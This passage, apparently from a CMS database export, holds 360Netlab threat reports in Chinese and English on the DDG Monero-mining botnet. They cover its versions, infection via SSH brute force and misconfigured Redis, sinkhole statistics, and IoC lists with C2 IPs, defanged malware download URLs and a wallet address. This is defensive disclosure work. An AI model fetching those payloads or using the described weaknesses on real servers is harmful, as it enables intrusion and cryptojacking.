Google LLC\" \n"}],["image",{"src":"__GHOST_URL__/content/images/2018/08/ddg_3013_infection.png","alt":"","title":""}]],"markups":[["a",["href","__GHOST_URL__/tag/ddg/"]],["a",["href","__GHOST_URL__/old-botnets-never-die-and-ddg-refuse-to-fade-away/"]],["strong"],["a",["href","http://scan.netlab.360.com/#/dashboard?tsbeg=1533002400000&tsend=1533088800000&dstport=6379&toplistname=srcas&topn=10&sortby=sum"]],["a",["href","https://twitter.com/360Netlab"]]],"sections":[[1,"p",[[0,[],0,"DDG is a mining botnet mainly focusing on SSH, Redis databases and OrientDB database servers. We captured the first DDG botnet on October 25, 2017, and subsequently released several "],[0,[0],1,"reports"],[0,[],0,". A recent "],[0,[1],1,"report"],[0,[],0," was released in 2018-06, which reflected the newest version of DDG 3012 at that time."]]],[1,"p",[[0,[],0,"This morning, we noticed that DDG version 3013 came out."]]],[1,"h4",[[0,[2],1,"IoC"]]],[1,"p",[[0,[],0,"C2"]]],[10,0],[1,"p",[[0,[],0,"Download URL"]]],[10,1],[1,"p",[[0,[],0,"New mining pool agent"]]],[10,2],[1,"h4",[[0,[2],1,"Infect Method"]]],[1,"p",[[0,[],0,"Using mis-configured Redis in the same way as previous versions of DDGs."]]],[1,"h4",[[0,[2],1,"Monetization method"]]],[1,"p",[[0,[],0,"Mining"]]],[3,"ul",[[[0,[],0,"Mining Pool:Agent: 104.197.211.117"]],[[0,[],0,"Wallet Address: 42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik"]]]],[1,"h4",[[0,[2],1,"Activities"]]],[1,"p",[[0,[],0,"In the past 24 hours, our ScanMon reported "],[0,[3],1,"471"],[0,[],0," scan sources, mainly from China mainland."]]],[10,3],[1,"h4",[[0,[2],1,"Contact Us"]]],[1,"p",[[0,[],0,"Readers can feel free to contact us on our "],[0,[4,2],2,"twitter"],[0,[],0," or WeChat "],[0,[2],1,"360Netlab"],[0,[],0," "]]]],"ghostVersion":"3.0"} | 60961a763819e50007633d45 |
post | null | 2021-05-08T04:59:27.000Z | 63873b9a8b1c1e0007f52fc9 | wei-xie-kuai-xun-ddg-3013-ban-ben | 0 | 2021-05-08T04:59:53.000Z | public | published | null | 2018-08-01T04:59:00.000Z | 威胁快讯：DDG 3013 版本 | <p>DDG 是一个专注于扫描控制 SSH 、 Redis数据库 和 OrientDB数据库 服务器，并攫取服务器算力挖矿（门罗币）的僵尸网络。我们在2017年10月25日首次感知到 DDG僵尸网络，并在随后发布了多份<a href="__GHOST_URL__/tag/ddg/">报告</a>。最近的一篇 <a href="__GHOST_URL__/old-botnets-never-die-and-ddg-refuse-to-fade-away/">报告</a> 发布于 2018-06，当时 DDG 的版本更新到 3012。</p><p>今晨，我们注意到 DDG 更新到版本 3013。</p><h4 id="ioc"><strong>IoC</strong></h4><p>C2</p><pre><code>149.56.106.215:8000 Canada/CA Pierrefonds "AS16276 OVH SAS"
</code></pre><p>下载URL</p><pre><code>hxxp://149.56.106.215:8000/i.sh
hxxp://149.56.106.215:8000/static/3011/ddgs.i686
hxxp://149.56.106.215:8000/static/3011/ddgs.x86_64
hxxp://149.56.106.215:8000/static/3012/ddgs.i686
hxxp://149.56.106.215:8000/static/3012/ddgs.x86_64
hxxp://149.56.106.215:8000/static/3013/ddgs.i686
hxxp://149.56.106.215:8000/static/3013/ddgs.x86_64
hxxp://149.56.106.215:8000/static/qW3xT
hxxp://149.56.106.215:8000/static/qW3xT.1
hxxp://149.56.106.215:8000/static/qW3xT.2
</code></pre><p>新的矿池代理</p><pre><code>104.197.211.117:443 United States/US "AS15169 Google LLC"
</code></pre><h4 id="-"><strong>投入方式</strong></h4><p>利用错误配置的 Redis ，方式与之前版本DDG 一致</p><h4 id="--1"><strong>获利方式</strong></h4><p>挖矿</p><ul><li>矿池：代理：104.197.211.117</li><li>钱包地址：42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik</li></ul><h4 id="--2"><strong>感染规模</strong></h4><p>过去24小时内，我们的ScanMon报告了扫描源 <a href="http://scan.netlab.360.com/#/dashboard?tsbeg=1533002400000&tsend=1533088800000&dstport=6379&toplistname=srcas&topn=10&sortby=sum">471</a> 个，主要来自国内。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/08/ddg_3013_infection.png" class="kg-image" alt loading="lazy"></figure><h4 id="--3"><strong>联系我们</strong></h4><p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者在微信公众号 <strong>360Netlab</strong> 上联系我们。</p> | DDG 是一个专注于扫描控制 SSH 、 Redis数据库 和 OrientDB数据库 服务器，并攫取服务器算力挖矿（门罗币）的僵尸网络。我们在2017年10月25日首次感知到 DDG僵尸网络，并在随后发布了多份报告。最近的一篇 报告 发布于 2018-06，当时 DDG 的版本更新到 3012。
今晨，我们注意到 DDG 更新到版本 3013。
IoC
C2
149.56.106.215:8000 Canada/CA Pierrefonds "AS16276 OVH SAS"
下载URL
hxxp://149.56.106.215:8000/i.sh
hxxp://149.56.106.215:8000/static/3011/ddgs.i686
hxxp://149.56.106.215:8000/static/3011/ddgs.x86_64
hxxp://149.56.106.215:8000/static/3012/ddgs.i686
hxxp://149.56.106.215:8000/static/3012/ddgs.x86_64
hxxp://149.56.106.215:8000/static/3013/ddgs.i686
hxxp://149.56.106.215:8000/static/3013/ddgs.x86_64
hxxp://149.56.106.215:8000/static/qW3xT
hxxp://149.56.106.215:8000/static/qW3xT.1
hxxp://149.56.106.215:8000/static/qW3xT.2
新的矿池代理
104.197.211.117:443 United States/US "AS15169 Google LLC"
投入方式
利用错误配置的 Redis ，方式与之前版本DDG 一致
获利方式
挖矿
* 矿池：代理：104.197.211.117
* 钱包地址：42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik
感染规模
过去24小时内，我们的ScanMon报告了扫描源 471 个，主要来自国内。
联系我们
感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。 | {"version":"0.3.1","atoms":[],"cards":[["code",{"code":"149.56.106.215:8000 Canada/CA Pierrefonds \"AS16276 OVH SAS\" \n"}],["code",{"code":"hxxp://149.56.106.215:8000/i.sh \nhxxp://149.56.106.215:8000/static/3011/ddgs.i686 \nhxxp://149.56.106.215:8000/static/3011/ddgs.x86_64 \nhxxp://149.56.106.215:8000/static/3012/ddgs.i686 \nhxxp://149.56.106.215:8000/static/3012/ddgs.x86_64 \nhxxp://149.56.106.215:8000/static/3013/ddgs.i686 \nhxxp://149.56.106.215:8000/static/3013/ddgs.x86_64 \nhxxp://149.56.106.215:8000/static/qW3xT \nhxxp://149.56.106.215:8000/static/qW3xT.1 \nhxxp://149.56.106.215:8000/static/qW3xT.2 \n"}],["code",{"code":"104.197.211.117:443 United States/US \"AS15169 Google LLC\" \n"}],["image",{"src":"__GHOST_URL__/content/images/2018/08/ddg_3013_infection.png","alt":"","title":""}]],"markups":[["a",["href","__GHOST_URL__/tag/ddg/"]],["a",["href","__GHOST_URL__/old-botnets-never-die-and-ddg-refuse-to-fade-away/"]],["strong"],["a",["href","http://scan.netlab.360.com/#/dashboard?tsbeg=1533002400000&tsend=1533088800000&dstport=6379&toplistname=srcas&topn=10&sortby=sum"]],["a",["href","https://twitter.com/360Netlab"]]],"sections":[[1,"p",[[0,[],0,"DDG 是一个专注于扫描控制 SSH 、 Redis数据库 和 OrientDB数据库 服务器，并攫取服务器算力挖矿（门罗币）的僵尸网络。我们在2017年10月25日首次感知到 DDG僵尸网络，并在随后发布了多份"],[0,[0],1,"报告"],[0,[],0,"。最近的一篇 "],[0,[1],1,"报告"],[0,[],0," 发布于 2018-06，当时 DDG 的版本更新到 3012。"]]],[1,"p",[[0,[],0,"今晨，我们注意到 DDG 更新到版本 3013。"]]],[1,"h4",[[0,[2],1,"IoC"]]],[1,"p",[[0,[],0,"C2"]]],[10,0],[1,"p",[[0,[],0,"下载URL"]]],[10,1],[1,"p",[[0,[],0,"新的矿池代理"]]],[10,2],[1,"h4",[[0,[2],1,"投入方式"]]],[1,"p",[[0,[],0,"利用错误配置的 Redis ，方式与之前版本DDG 一致"]]],[1,"h4",[[0,[2],1,"获利方式"]]],[1,"p",[[0,[],0,"挖矿"]]],[3,"ul",[[[0,[],0,"矿池：代理：104.197.211.117"]],[[0,[],0,"钱包地址：42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik"]]]],[1,"h4",[[0,[2],1,"感染规模"]]],[1,"p",[[0,[],0,"过去24小时内，我们的ScanMon报告了扫描源 "],[0,[3],1,"471"],[0,[],0," 个，主要来自国内。"]]],[10,3],[1,"h4",[[0,[2],1,"联系我们"]]],[1,"p",[[0,[],0,"感兴趣的读者，可以在 "],[0,[4,2],2,"twitter"],[0,[],0," 或者在微信公众号 "],[0,[2],1,"360Netlab"],[0,[],0," 上联系我们。"]]]],"ghostVersion":"3.0"} | 60961aaf3819e50007633d4a |
post | null | 2021-05-08T05:00:21.000Z | 63873b9a8b1c1e0007f52fca | old-botnets-never-die-and-ddg-refuse-to-fade-away | 0 | 2021-05-08T05:01:17.000Z | public | published | null | 2018-07-12T05:00:00.000Z | Old Botnets never Die, and DDG REFUSE to Fade Away | <p>DDG is a mining botnet that specializes in exploiting SSH, Redis database and OrientDB database servers. We first caught it on October 25, 2017, at that time, DDG used version number 2020 and 2021, and we noticed that the botnet has two internally reserved domain names that had not been registered. So we went ahead and registered the two domain names so we were able to measure the infections, (4,391 infected IPs) The original blog is <a href="__GHOST_URL__/ddg-a-mining-botnet-aiming-at-database-server/">here</a>.</p><p>Some botnet goes away after we release the analysis report, such as http81 (persirai), but the DDG stays.</p><p>Three months after the release of our first DDG report, in May 2018, DDG got some major updates. Version 3010 and 3011 appeared, we also witnessed the authors effort to polish the 3011 so he can get the mining part work.</p><p>On June 12, we captured that DDG.Mining.Botnet released yet another new version 3012 with yet another c2 address. For all the technical details, please check our detailed DDG blog <a href="__GHOST_URL__/ddg-mining-botnet-jin-qi-huo-dong-fen-xi/">here</a>.</p><h4 id="list-of-ddg-updates"><strong>List of DDG Updates</strong></h4><p>The following figures describe some high level overview and comparison between different DDG versions.</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/06/version-list-3.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/06/version_module_mapping-2.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/06/modules-list-2.png" class="kg-image" alt loading="lazy"></figure><p>From the figure we can see:</p><ul><li><strong>Version Update</strong>: Starting from October 2017, DDG has released three major version of 201x, 202x, and 301x, and six minor-versions.</li><li><strong>C2 IP address</strong>: Four major C2 IPs have bee used.</li><li><strong>Module structure</strong>: Three major modules, propagate, keep-live, and mining</li><li><strong>Infection method</strong>: Brute force attacks on the SSH server and unauthorized access by the Redis server (2017-10 to date). In versions 201x and 202x, the Struts2 and OrientDB database servers were also targeted for infection.</li><li><strong>Wallet Address</strong>: Three wallet addresses. And the file name of the mining program normally the same as the last 5 to 6 strings of the wallet address.</li><li><strong>Redundancy</strong>: The author always keeps two versions of the botnet running at the same time to provide fault tolerance. After the 301x version, the author also started to use multiple mine pools for redundancy. Such as mining pool hk02.supportxmr.com, pool.supportxmr.com, xmr-asia1.nanopool.org, xmr-us-west1.nanopool.org, and mining pool proxy 47.52.57.128,165.225.157.157</li></ul><p>In addition:</p><ul><li><strong>Profit</strong>: According to our incomplete statistics, DDG's wallet addresses have received at least 7,425 Monroe coins just from Monero.crypto-pool.fr.</li><li><strong>HUB</strong>: DDG uses a group of hacked servers to provide download service to infected hosts. Each DDG version update refreshes this HUB_IP list. See the IoC section at the end of this article for infected IPs.</li></ul><p>For Sinkhole, we sinkholed two unregistered domain names for DDG version 2020. Although the DDG 2021 version were quickly released and removed these two domain names, we were still able to get an accurate number of the infections. At that time, we recorded a total of 4,391 victim IP addresses. The main victims were China (73%) and the United States (11%):</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/01/sinkhole_ip_geo.png" class="kg-image" alt loading="lazy"></figure><h4 id="ioc"><strong>IoC</strong></h4><p>DDG C2 List</p><pre><code>218.248.40.228 India/IN National Capital Territory of Delhi/New Delhi
202.181.169.98 Hong Kong/HK Central and Western District/Central
165.225.157.157 United States/US Nevada/Las Vegas
69.64.32.12 United States/US Missouri/St Louis
</code></pre><p>IP_HUB list</p><ul><li><a href="__GHOST_URL__/file/ip_hublist__2011.txt">v2011</a></li><li><a href="__GHOST_URL__/file/ip_hublist__2020.txt">v2020~v2021</a></li><li><a href="__GHOST_URL__/file/iplist_v3011_1.txt">v3011</a></li><li><a href="__GHOST_URL__/file/iplist_v3011_2.txt">v3011 patched</a></li><li><a href="__GHOST_URL__/file/iplist_v3012.txt">v3012</a></li></ul> | DDG is a mining botnet that specializes in exploiting SSH, Redis database and OrientDB database servers. We first caught it on October 25, 2017, at that time, DDG used version number 2020 and 2021, and we noticed that the botnet has two internally reserved domain names that had not been registered. So we went ahead and registered the two domain names so we were able to measure the infections, (4,391 infected IPs) The original blog is here.
Some botnet goes away after we release the analysis report, such as http81 (persirai), but the DDG stays.
Three months after the release of our first DDG report, in May 2018, DDG got some major updates. Version 3010 and 3011 appeared, we also witnessed the authors effort to polish the 3011 so he can get the mining part work.
On June 12, we captured that DDG.Mining.Botnet released yet another new version 3012 with yet another c2 address. For all the technical details, please check our detailed DDG blog here.
List of DDG Updates
The following figures describe some high level overview and comparison between different DDG versions.
From the figure we can see:
* Version Update: Starting from October 2017, DDG has released three major version of 201x, 202x, and 301x, and six minor-versions.
* C2 IP address: Four major C2 IPs have bee used.
* Module structure: Three major modules, propagate, keep-live, and mining
* Infection method: Brute force attacks on the SSH server and unauthorized access by the Redis server (2017-10 to date). In versions 201x and 202x, the Struts2 and OrientDB database servers were also targeted for infection.
* Wallet Address: Three wallet addresses. And the file name of the mining program normally the same as the last 5 to 6 strings of the wallet address.
* Redundancy: The author always keeps two versions of the botnet running at the same time to provide fault tolerance. After the 301x version, the author also started to use multiple mine pools for redundancy. Such as mining pool hk02.supportxmr.com, pool.supportxmr.com, xmr-asia1.nanopool.org, xmr-us-west1.nanopool.org, and mining pool proxy 47.52.57.128,165.225.157.157
In addition:
* Profit: According to our incomplete statistics, DDG's wallet addresses have received at least 7,425 Monroe coins just from Monero.crypto-pool.fr.
* HUB: DDG uses a group of hacked servers to provide download service to infected hosts. Each DDG version update refreshes this HUB_IP list. See the IoC section at the end of this article for infected IPs.
For Sinkhole, we sinkholed two unregistered domain names for DDG version 2020. Although the DDG 2021 version were quickly released and removed these two domain names, we were still able to get an accurate number of the infections. At that time, we recorded a total of 4,391 victim IP addresses. The main victims were China (73%) and the United States (11%):
IoC
DDG C2 List
218.248.40.228 India/IN National Capital Territory of Delhi/New Delhi
202.181.169.98 Hong Kong/HK Central and Western District/Central
165.225.157.157 United States/US Nevada/Las Vegas
69.64.32.12 United States/US Missouri/St Louis
IP_HUB list
* v2011
* v2020~v2021
* v3011
* v3011 patched
* v3012 | {"version":"0.3.1","atoms":[],"cards":[["image",{"src":"__GHOST_URL__/content/images/2018/06/version-list-3.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/06/version_module_mapping-2.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/06/modules-list-2.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/01/sinkhole_ip_geo.png","alt":"","title":""}],["code",{"code":"218.248.40.228 India/IN National Capital Territory of Delhi/New Delhi \n202.181.169.98 Hong Kong/HK Central and Western District/Central \n165.225.157.157 United States/US Nevada/Las Vegas \n69.64.32.12 United States/US Missouri/St Louis \n"}]],"markups":[["a",["href","__GHOST_URL__/ddg-a-mining-botnet-aiming-at-database-server/"]],["a",["href","__GHOST_URL__/ddg-mining-botnet-jin-qi-huo-dong-fen-xi/"]],["strong"],["a",["href","__GHOST_URL__/file/ip_hublist__2011.txt"]],["a",["href","__GHOST_URL__/file/ip_hublist__2020.txt"]],["a",["href","__GHOST_URL__/file/iplist_v3011_1.txt"]],["a",["href","__GHOST_URL__/file/iplist_v3011_2.txt"]],["a",["href","__GHOST_URL__/file/iplist_v3012.txt"]]],"sections":[[1,"p",[[0,[],0,"DDG is a mining botnet that specializes in exploiting SSH, Redis database and OrientDB database servers. We first caught it on October 25, 2017, at that time, DDG used version number 2020 and 2021, and we noticed that the botnet has two internally reserved domain names that had not been registered. So we went ahead and registered the two domain names so we were able to measure the infections, (4,391 infected IPs) The original blog is "],[0,[0],1,"here"],[0,[],0,"."]]],[1,"p",[[0,[],0,"Some botnet goes away after we release the analysis report, such as http81 (persirai), but the DDG stays."]]],[1,"p",[[0,[],0,"Three months after the release of our first DDG report, in May 2018, DDG got some major updates. Version 3010 and 3011 appeared, we also witnessed the authors effort to polish the 3011 so he can get the mining part work."]]],[1,"p",[[0,[],0,"On June 12, we captured that DDG.Mining.Botnet released yet another new version 3012 with yet another c2 address. For all the technical details, please check our detailed DDG blog "],[0,[1],1,"here"],[0,[],0,"."]]],[1,"h4",[[0,[2],1,"List of DDG Updates"]]],[1,"p",[[0,[],0,"The following figures describe some high level overview and comparison between different DDG versions."]]],[10,0],[10,1],[10,2],[1,"p",[[0,[],0,"From the figure we can see:"]]],[3,"ul",[[[0,[2],1,"Version Update"],[0,[],0,": Starting from October 2017, DDG has released three major version of 201x, 202x, and 301x, and six minor-versions."]],[[0,[2],1,"C2 IP address"],[0,[],0,": Four major C2 IPs have bee used."]],[[0,[2],1,"Module structure"],[0,[],0,": Three major modules, propagate, keep-live, and mining"]],[[0,[2],1,"Infection method"],[0,[],0,": Brute force attacks on the SSH server and unauthorized access by the Redis server (2017-10 to date). In versions 201x and 202x, the Struts2 and OrientDB database servers were also targeted for infection."]],[[0,[2],1,"Wallet Address"],[0,[],0,": Three wallet addresses. And the file name of the mining program normally the same as the last 5 to 6 strings of the wallet address."]],[[0,[2],1,"Redundancy"],[0,[],0,": The author always keeps two versions of the botnet running at the same time to provide fault tolerance. After the 301x version, the author also started to use multiple mine pools for redundancy. Such as mining pool hk02.supportxmr.com, pool.supportxmr.com, xmr-asia1.nanopool.org, xmr-us-west1.nanopool.org, and mining pool proxy 47.52.57.128,165.225.157.157"]]]],[1,"p",[[0,[],0,"In addition:"]]],[3,"ul",[[[0,[2],1,"Profit"],[0,[],0,": According to our incomplete statistics, DDG's wallet addresses have received at least 7,425 Monroe coins just from Monero.crypto-pool.fr."]],[[0,[2],1,"HUB"],[0,[],0,": DDG uses a group of hacked servers to provide download service to infected hosts. Each DDG version update refreshes this HUB_IP list. See the IoC section at the end of this article for infected IPs."]]]],[1,"p",[[0,[],0,"For Sinkhole, we sinkholed two unregistered domain names for DDG version 2020. Although the DDG 2021 version were quickly released and removed these two domain names, we were still able to get an accurate number of the infections. At that time, we recorded a total of 4,391 victim IP addresses. The main victims were China (73%) and the United States (11%):"]]],[10,3],[1,"h4",[[0,[2],1,"IoC"]]],[1,"p",[[0,[],0,"DDG C2 List"]]],[10,4],[1,"p",[[0,[],0,"IP_HUB list"]]],[3,"ul",[[[0,[3],1,"v2011"]],[[0,[4],1,"v2020~v2021"]],[[0,[5],1,"v3011"]],[[0,[6],1,"v3011 patched"]],[[0,[7],1,"v3012"]]]]],"ghostVersion":"3.0"} | 60961ae53819e50007633d4f |
post | null | 2021-05-08T05:01:31.000Z | 63873b9a8b1c1e0007f52fcb | jiang-shi-yong-yuan-bu-si-ddgju-jue-diao-ling | 0 | 2021-05-08T05:02:06.000Z | public | published | null | 2018-07-12T05:01:00.000Z | 僵尸永远不死，DDG拒绝凋零 | <p>DDG 是一个专注于扫描控制 SSH 、 Redis数据库 和 OrientDB数据库 服务器，并攫取服务器算力挖矿（门罗币）的僵尸网络。我们在2017年10月25日首次感知到 DDG僵尸网络，并在随后展开了持续的分析和跟踪。在这期间，我们注意到该僵尸网络有两个内部保留域名尚未注册，我们抢注了这两个域名，并利用到这两个域名的流量精确记录了该僵尸网络感染的 4,391 个IP地址。在那段时间中，DDG 的主要流行版本是 2020、2021。以上内容详细记录在我们 2018年2月发布的 <a href="__GHOST_URL__/ddg-a-mining-botnet-aiming-at-database-server/">报告</a>中。</p><p>有些僵尸网络的作者，会在我们发布分析报告之后悄然离去，比如 http81（persirai），但是 ddg 的作者选择留在场上。</p><p>DDG首份报告发布后3个月，2018年5月，我们意识到 DDG 有更新。这一次卷土重来，DDG更换了其主控IP地址，以期逃避安全研究员的跟踪。不过我们依旧定位到了 DDG 的两个新版本 3010和3011，并监控到作者对 3011 版本中挖矿部分bug修正的过程。</p><p>6 月12 日，我们监测到 DDG.Mining.Botnet 又发布了新版本 3012，并再一次更换了主控地址。以上内容分别与 5月21日 、 6月1日和6月13日 记录在我们的 DDG <a href="__GHOST_URL__/ddg-mining-botnet-jin-qi-huo-dong-fen-xi/">更新文章</a>中。</p><p>DDG 的作者会就此罢休么？不会的。僵尸永远不死，而且它们拒绝凋零。</p><h4 id="ddg-"><strong>DDG 更新一览</strong></h4><p>下图是我们监控到的 DDG版本更新情况、模块列表、以及版本和模块的对照关系。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/06/version-list---update-1.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/06/version_module_mapping-2.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/06/modules-list-2.png" class="kg-image" alt loading="lazy"></figure><p>从图中我们可以看出：</p><ul><li><strong>版本更新</strong>：从2017年10月开始，DDG先后发布了 201x， 202x， 301x 三个大的系列版本，内部分为6个小的版本，以及若干小版本内部的补丁修正。</li><li><strong>C2 IP地址</strong>：先后使用了四个IP。看起来我们的批露文章，加快了 DDG 更新 C2 的频率。</li><li><strong>模块结构</strong>：大体可以分为投入、保活、挖矿三个大模块。</li><li><strong>感染目标</strong>：长期持续针对SSH 服务器暴力破解以及Redis服务器未授权访问（2017-10 ～ 至今）。在版本 201x 和 202x 部分，也曾经将 Struts2 和 OrientDB 数据库服务器作为感染目标。</li><li><strong>钱包地址</strong>：先后使用了三个钱包地址。挖矿程序的文件命名，通常取钱包地址的最后5～6个字符串。</li><li><strong>挖矿容错</strong>：作者在大版本切换过程中，总是同时发布两个版本的挖矿程序，提高客户端版本更新前后的容错性；在301x版本之后，DDG作者开始使用了多个矿池，避免单个矿池链接不畅。包括矿池hk02.supportxmr.com，pool.supportxmr.com，xmr-asia1.nanopool.org，xmr-us-west1.nanopool.org，以及矿池代理 47.52.57.128，165.225.157.157 ，</li></ul><p>另外：</p><ul><li><strong>收益</strong>：按照我们的不完全统计，DDG的这些钱包地址已经至少从Monero.crypto-pool.fr 中获得了至少 7,425 个门罗币。</li><li><strong>HUB</strong>：DDG会使用黑掉的服务器作为肉鸡，作为挖矿程序下载服务器列表。这些HUB_IP 的列表，会在每个版本更新时一并更新。如果IP出现在该列表中，意味着机器曾经或正在被DDG感染。详细见文末 IoC 部分。</li></ul><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/01/sinkhole_ip_geo.png" class="kg-image" alt loading="lazy"></figure><h4 id="ioc"><strong>IoC</strong></h4><p>DDG C2 List</p><pre><code>218.248.40.228 India/IN National Capital Territory of Delhi/New Delhi
202.181.169.98 Hong Kong/HK Central and Western District/Central
165.225.157.157 United States/US Nevada/Las Vegas
69.64.32.12 United States/US Missouri/St Louis
</code></pre><p>IP_HUB list</p><ul><li><a href="__GHOST_URL__/file/ip_hublist__2011.txt">v2011</a></li><li><a href="__GHOST_URL__/file/ip_hublist__2020.txt">v2020~v2021</a></li><li><a href="__GHOST_URL__/file/iplist_v3011_1.txt">v3011</a></li><li><a href="__GHOST_URL__/file/iplist_v3011_2.txt">v3011 patched</a></li><li><a href="__GHOST_URL__/file/iplist_v3012.txt">v3012</a></li></ul> | DDG 是一个专注于扫描控制 SSH 、 Redis数据库 和 OrientDB数据库 服务器，并攫取服务器算力挖矿（门罗币）的僵尸网络。我们在2017年10月25日首次感知到 DDG僵尸网络，并在随后展开了持续的分析和跟踪。在这期间，我们注意到该僵尸网络有两个内部保留域名尚未注册，我们抢注了这两个域名，并利用到这两个域名的流量精确记录了该僵尸网络感染的 4,391 个IP地址。在那段时间中，DDG 的主要流行版本是 2020、2021。以上内容详细记录在我们 2018年2月发布的 报告中。
有些僵尸网络的作者，会在我们发布分析报告之后悄然离去，比如 http81（persirai），但是 ddg 的作者选择留在场上。
DDG首份报告发布后3个月，2018年5月，我们意识到 DDG 有更新。这一次卷土重来，DDG更换了其主控IP地址，以期逃避安全研究员的跟踪。不过我们依旧定位到了 DDG 的两个新版本 3010和3011，并监控到作者对 3011 版本中挖矿部分bug修正的过程。
6 月12 日，我们监测到 DDG.Mining.Botnet 又发布了新版本 3012，并再一次更换了主控地址。以上内容分别与 5月21日 、 6月1日和6月13日 记录在我们的 DDG 更新文章中。
DDG 的作者会就此罢休么？不会的。僵尸永远不死，而且它们拒绝凋零。
DDG 更新一览
下图是我们监控到的 DDG版本更新情况、模块列表、以及版本和模块的对照关系。
从图中我们可以看出：
* 版本更新：从2017年10月开始，DDG先后发布了 201x， 202x， 301x 三个大的系列版本，内部分为6个小的版本，以及若干小版本内部的补丁修正。
* C2 IP地址：先后使用了四个IP。看起来我们的批露文章，加快了 DDG 更新 C2 的频率。
* 模块结构：大体可以分为投入、保活、挖矿三个大模块。
* 感染目标：长期持续针对SSH 服务器暴力破解以及Redis服务器未授权访问（2017-10 ～ 至今）。在版本 201x 和 202x 部分，也曾经将 Struts2 和 OrientDB 数据库服务器作为感染目标。
* 钱包地址：先后使用了三个钱包地址。挖矿程序的文件命名，通常取钱包地址的最后5～6个字符串。
* 挖矿容错：作者在大版本切换过程中，总是同时发布两个版本的挖矿程序，提高客户端版本更新前后的容错性；在301x版本之后，DDG作者开始使用了多个矿池，避免单个矿池链接不畅。包括矿池hk02.supportxmr.com，pool.supportxmr.com，xmr-asia1.nanopool.org，xmr-us-west1.nanopool.org，以及矿池代理 47.52.57.128，165.225.157.157 ，
另外：
* 收益：按照我们的不完全统计，DDG的这些钱包地址已经至少从Monero.crypto-pool.fr 中获得了至少 7,425 个门罗币。
* HUB：DDG会使用黑掉的服务器作为肉鸡，作为挖矿程序下载服务器列表。这些HUB_IP 的列表，会在每个版本更新时一并更新。如果IP出现在该列表中，意味着机器曾经或正在被DDG感染。详细见文末 IoC 部分。
IoC
DDG C2 List
218.248.40.228 India/IN National Capital Territory of Delhi/New Delhi
202.181.169.98 Hong Kong/HK Central and Western District/Central
165.225.157.157 United States/US Nevada/Las Vegas
69.64.32.12 United States/US Missouri/St Louis
IP_HUB list
* v2011
* v2020~v2021
* v3011
* v3011 patched
* v3012 | {"version":"0.3.1","atoms":[],"cards":[["image",{"src":"__GHOST_URL__/content/images/2018/06/version-list---update-1.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/06/version_module_mapping-2.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/06/modules-list-2.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/01/sinkhole_ip_geo.png","alt":"","title":""}],["code",{"code":"218.248.40.228 India/IN National Capital Territory of Delhi/New Delhi \n202.181.169.98 Hong Kong/HK Central and Western District/Central \n165.225.157.157 United States/US Nevada/Las Vegas \n69.64.32.12 United States/US Missouri/St Louis \n"}]],"markups":[["a",["href","__GHOST_URL__/ddg-a-mining-botnet-aiming-at-database-server/"]],["a",["href","__GHOST_URL__/ddg-mining-botnet-jin-qi-huo-dong-fen-xi/"]],["strong"],["a",["href","__GHOST_URL__/file/ip_hublist__2011.txt"]],["a",["href","__GHOST_URL__/file/ip_hublist__2020.txt"]],["a",["href","__GHOST_URL__/file/iplist_v3011_1.txt"]],["a",["href","__GHOST_URL__/file/iplist_v3011_2.txt"]],["a",["href","__GHOST_URL__/file/iplist_v3012.txt"]]],"sections":[[1,"p",[[0,[],0,"DDG 是一个专注于扫描控制 SSH 、 Redis数据库 和 OrientDB数据库 服务器，并攫取服务器算力挖矿（门罗币）的僵尸网络。我们在2017年10月25日首次感知到 DDG僵尸网络，并在随后展开了持续的分析和跟踪。在这期间，我们注意到该僵尸网络有两个内部保留域名尚未注册，我们抢注了这两个域名，并利用到这两个域名的流量精确记录了该僵尸网络感染的 4,391 个IP地址。在那段时间中，DDG 的主要流行版本是 2020、2021。以上内容详细记录在我们 2018年2月发布的 "],[0,[0],1,"报告"],[0,[],0,"中。"]]],[1,"p",[[0,[],0,"有些僵尸网络的作者，会在我们发布分析报告之后悄然离去，比如 http81（persirai），但是 ddg 的作者选择留在场上。"]]],[1,"p",[[0,[],0,"DDG首份报告发布后3个月，2018年5月，我们意识到 DDG 有更新。这一次卷土重来，DDG更换了其主控IP地址，以期逃避安全研究员的跟踪。不过我们依旧定位到了 DDG 的两个新版本 3010和3011，并监控到作者对 3011 版本中挖矿部分bug修正的过程。"]]],[1,"p",[[0,[],0,"6 月12 日，我们监测到 DDG.Mining.Botnet 又发布了新版本 3012，并再一次更换了主控地址。以上内容分别与 5月21日 、 6月1日和6月13日 记录在我们的 DDG 